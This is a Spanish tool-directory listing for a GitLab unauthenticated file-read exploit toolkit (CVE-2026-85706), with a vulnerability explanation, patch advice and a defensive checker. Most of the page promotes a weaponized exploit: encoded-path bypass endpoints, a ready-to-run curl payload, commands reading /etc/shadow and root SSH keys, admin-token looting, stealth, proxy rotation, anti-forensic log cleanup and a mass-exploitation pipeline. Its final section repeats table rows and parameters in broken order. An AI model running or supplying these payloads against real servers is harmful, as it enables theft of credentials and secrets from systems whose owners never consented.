Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/tc4dy/cve-2026-85706-poc-toolkit
Herramientas DefensivasEscáneres de VulnerabilidadesAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPost-ExplotaciónSeguridad WebPruebas de Penetración
Red Teaming
GitHubtc4dy/cve-2026-85706-poc-toolkit

CVE-2026-85706-PoC-Toolkit

Kit de herramientas en Python para la lectura no autenticada de archivos en GitLab CVE-2026-85706: exploit weaponizado con loot, shell, escaneo masivo, además de auditoría y generación de informes no intrusiva con SafeChecker.

Ver RepositorioSitio web
1hace 10h 21mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVEPoC

CVE‑2026‑85706 – Kit de herramientas de lectura de archivos no autenticada en GitLab

Python 3.8+ CVSS Author GitLab

⚠️ SOLO USO ÉTICO – PRUEBAS DE SEGURIDAD AUTORIZADAS
Este repositorio proporciona herramientas únicamente para profesionales de seguridad autorizados, equipos azules y pentesters.
El acceso no autorizado a sistemas informáticos es ilegal según la CFAA (EE. UU.), la Computer Misuse Act (Reino Unido), el TCK 243/244 (Turquía) y leyes similares en todo el mundo.


📖 Descripción general de la vulnerabilidad

CVE‑2026‑85706 es una vulnerabilidad crítica de lectura arbitraria de archivos locales no autenticada en GitLab CE/EE autoalojado (versiones 18.7 a 19.3.1) que permite a un atacante no autenticado leer cualquier archivo del servidor mediante una única solicitud HTTP a la API de commits.

Cómo funciona

  1. Discrepancia de análisis entre Workhorse y Puma – GitLab Workhorse valida la ruta de la solicitud antes de la decodificación porcentual, mientras que Puma/Rails la decodifica después. Esto permite eludir las comprobaciones de seguridad de Workhorse utilizando caracteres codificados como %63ommits.
  2. Apertura de archivo previa a la autenticación – el endpoint /api/v4/projects/{id}/repository/commits abre el archivo especificado en file.path antes de que se aplique la autenticación.
  3. Eco del contenido mediante error – si el archivo contiene una %-secuencia no válida, Rack devuelve el contenido en un cuerpo 400 Bad Request, filtrando el contenido completo.
  4. Impacto – secretos, tokens, claves SSH, variables CI/CD, credenciales de bases de datos y movimiento lateral dentro de la infraestructura de GitLab. ¡Actualice inmediatamente!

Versiones afectadas

  • 18.7.0 – 19.1.7 – vulnerable
  • 19.2.0 – 19.2.5 – vulnerable
  • 19.3.0 – 19.3.1 – vulnerable

Parche

  • Actualice a 19.1.8, 19.2.6 o 19.3.2 o posterior.
  • Si la actualización no es posible, restrinja el acceso de red a GitLab (nunca lo exponga a Internet) y rote todos los tokens/secretos como solución temporal.

🧰 Herramientas

HerramientaPropósitoUsuario previsto
exploit.pyKit de herramientas completamente armado con lectura de archivos no autenticada, enumeración de botín, extracción de tokens de administrador, escaneo masivo, shell interactivo, rotación de proxies, modo sigiloso y generación de informes en múltiples formatos.Equipos rojos / pentesters autorizados
safechecker.pyComprobador de vulnerabilidades no intrusivo que detecta la versión de GitLab, valida la exposición, audita las cabeceras de seguridad y evalúa el riesgo sin leer ningún archivo. Genera informes JSON/CSV/HTML.Equipos azules / auditores de seguridad

📊 Comparación de características

Característicaexploit.pysafechecker.py
Detección de vulnerabilidades✅✅
Detección de versión✅✅
Lectura de archivos no autenticada✅❌
Enumeración de botín✅❌
Extracción de tokens de administrador✅❌
Shell interactivo✅❌
Escaneo masivo (multihilo)✅✅
Auditoría de cabeceras de seguridad❌✅
Comprobación de TLS/certificado❌✅
Mapeo MITRE ATT&CK✅✅
Soporte de proxy✅✅
Rotación de proxies✅❌
Rotación de User‑Agent (OPSEC)✅❌
Jitter / retardo (OPSEC)✅❌
Limitador de tasa adaptativo✅✅
Modo sigiloso✅❌
Suplantación de TLS con curl_cffi✅❌
Modo no intrusivo (seguro)❌✅
Salida JSON / JSONL / CSV / HTML✅✅
Salida a base de datos SQLite✅❌
Notificación por webhook✅✅
Diferencias con el escaneo anterior✅✅

🎯 Resumen de casos de uso

EscenarioHerramienta recomendada
Equipo azul – verificar si su GitLab es vulnerablesafechecker.py
Auditoría de seguridad – evaluación de vulnerabilidades no intrusivasafechecker.py
Equipo rojo – pruebas de penetración autorizadas con explotación completaexploit.py
Bug Bounty – pruebas de divulgación responsablesafechecker.py
Escaneo masivo – comprobar múltiples objetivos en busca de vulnerabilidadesexploit.py (solo detección)
Respuesta a incidentes – comprobar si los sistemas están comprometidossafechecker.py

⚙️ Instalación

root@kitploit:~
git clone https://github.com/tc4dy/CVE-2026-85706-PoC-Toolkit
cd CVE-2026-85706-PoC-Toolkit
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests
urllib3
curl_cffi
rich
pyyaml

📋 Parámetros

Parámetros de exploit.py

ParámetroDescripción
-u, --urlURL de un único objetivo (p. ej. https://gitlab.example.com)
-f, --fileArchivo que contiene la lista de objetivos (uno por línea)
--pipeLeer objetivos desde stdin (pipeline de subfinder/httpx)
--readRuta(s) absoluta(s) a leer, separadas por comas
--wordlistArchivo con rutas a leer (una por línea)
--project-idForzar un ID de proyecto específico
--max-projectsMáximo de IDs de proyecto a probar (predeterminado: 8)
--autoExtraer automáticamente archivos de alto valor de GitLab
--lootIgual que --auto
--shellShell interactivo tras la explotación
--forceEscanear incluso si la huella de GitLab es débil
-t, --threadsHilos para múltiples objetivos (predeterminado: 8)
--timeoutTiempo de espera HTTP (predeterminado: 15s)
--retryNúmero de reintentos (predeterminado: 3)
--retry-onCódigos HTTP para reintentar (predeterminado: 429,500,502,503,504)
--proxyProxy HTTP/HTTPS
--proxy-listArchivo con proxies para rotación
--proxy-rotateEstrategia de rotación: round-robin, random, sticky
--jitterAñadir jitter aleatorio entre solicitudes
--jitter-rangeJitter mín,máx segundos (predeterminado: 0.1,2.0)
--delayRetardo fijo entre solicitudes

Parámetros de safechecker.py

ParámetroDescripción
-u, --urlURL de un único objetivo (p. ej. https://gitlab.example.com)
-f, --fileArchivo con objetivos (uno por línea)
-t, --threadsHilos para múltiples objetivos (predeterminado: 5)
--timeoutTiempo de espera HTTP (predeterminado: 10s)
--rate-limitMáximo de solicitudes por segundo (0 = ilimitado)
--user-agentCadena User-Agent personalizada
--insecureDesactivar verificación TLS (riesgo de MITM)
--webhookURL de webhook (slack:, discord:, telegram:)
--diffComparar con el JSON del escaneo anterior
-v, --verboseSalida detallada
-o, --outputArchivo de salida JSON
--csvArchivo de salida CSV
--reportArchivo de informe HTML
--mitreIncluir mapeo MITRE ATT&CK (predeterminado: activado)

💥 Escenarios

#EscenarioComando
1Comprobación rápida de vulnerabilidadpython safechecker.py -u https://gitlab.example.com
2Auditoría detallada con informepython safechecker.py -u https://gitlab.example.com -o report.json --csv report.csv --report report.html -v
3Auditoría masiva desde archivopython safechecker.py -f targets.txt -t 10 --rate-limit 5
4Exploit solo detecciónpython exploit.py -u https://gitlab.example.com --safe-mode
5Leer un único archivopython exploit.py -u https://gitlab.example.com --read /etc/passwd
6Leer múltiples archivospython exploit.py -u https://gitlab.example.com --read /etc/passwd,/etc/shadow,/root/.ssh/id_rsa
7Extracción automática de archivos de alto valorpython exploit.py -u https://gitlab.example.com --auto
8Shell interactivopython exploit.py -u https://gitlab.example.com --shell
9Explotación masiva con sigilopython exploit.py -f targets.txt -t 20 --stealth --jitter --auto -o hits.jsonl --output-format jsonl
10Pipeline desde subfindersubfinder -d example.com -silent | httpx -silent -sc | python exploit.py --pipe --auto -o hits.jsonl
11Ataque completo con salida SIEMpython exploit.py -u https://gitlab.example.com --auto --grep "password|secret|token" --mitre --json-schema -o siem.json
12Reanudar escaneo interrumpidopython exploit.py -f targets.txt --auto --resume state.json
13Comparar dos escaneospython safechecker.py -f targets.txt -o new.json --diff previous.json

🧪 Endpoint y cadena de explotación

El exploit utiliza los siguientes endpoints de GitLab y técnicas de elusión:

PasoMétodoEndpointDescripción
1. ElusiónPOST/api/v4/projects/{id}/repository/%63ommitsLa c codificada elude Workhorse
2. ElusiónPOST/api/v4/projects/{id}/%72epository/commitsLa r codificada en repository
3. ElusiónPOST/api/v4/projects/{id}/repository/commits/Elusión con barra final
4. ElusiónPOST/api/v4/projects/{id}/repository/commits.jsonElusión con sufijo de formato Grape
5. API de archivosPOST/api/v4/projects/{id}/repository/files/xRuta alternativa

Formato del payload

root@kitploit:~
file=&file.path=/etc/passwd&file.size=1

curl listo para usar

root@kitploit:~
curl -sk -X POST "https://gitlab.example.com/api/v4/projects/1/repository/%63ommits?file=&file.path=/etc/passwd&file.size=1&Content-Type=application/x-www-form-urlencoded"

🛡️ Uso responsable

  • Utilice estas herramientas únicamente en sistemas que posea o para los que tenga permiso escrito explícito de probar.
  • El acceso no autorizado es ilegal y poco ético.
  • Los autores no se hacen responsables de ningún uso indebido.
  • Cumpla siempre con las leyes y regulaciones de su país.

Este software se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas.

Descargar herramienta
Limpieza de registros (antiforense)✅❌
User‑Agent personalizado✅✅
Control de verificación SSL✅✅
--stealth
Activar modo sigiloso (rotación de UA + X-Forwarded-For)
--curl-cffiUsar curl_cffi para suplantación de huella TLS
--user-agent-fileArchivo con cadenas User-Agent
--max-bodyTamaño máximo del cuerpo de respuesta (0 = ilimitado)
--concurrent-per-hostMáximo de solicitudes concurrentes por host
--rate-limitMáximo de solicitudes por segundo (0 = ilimitado)
--excludeHosts a excluir separados por comas (patrones glob)
--grepMostrar solo filtraciones que coincidan con la regex
--resumeReanudar desde el archivo de estado
--notifyURL de notificación (slack:, discord:, telegram:)
--dbGuardar resultados en base de datos SQLite
--output-formatFormato de salida: json, jsonl, csv, html
-o, --outputRuta del archivo de salida
-v, --verboseSalida detallada
-q, --quietModo silencioso
--no-colorDesactivar colores
--no-bannerSin banner
--configArchivo de configuración YAML/JSON
--dry-runMostrar el plan sin realizar solicitudes
--safe-modeLeer solo /etc/hostname para verificar
--timeout-profileaggressive, normal, stealth
--mitreIncluir mapeo MITRE ATT&CK
--fingerprintHuella detallada de GitLab
--cve-checkComprobar CVEs relacionadas
--json-schemaSalida con esquema JSON para SIEM
--progressMostrar barra de progreso (requiere rich)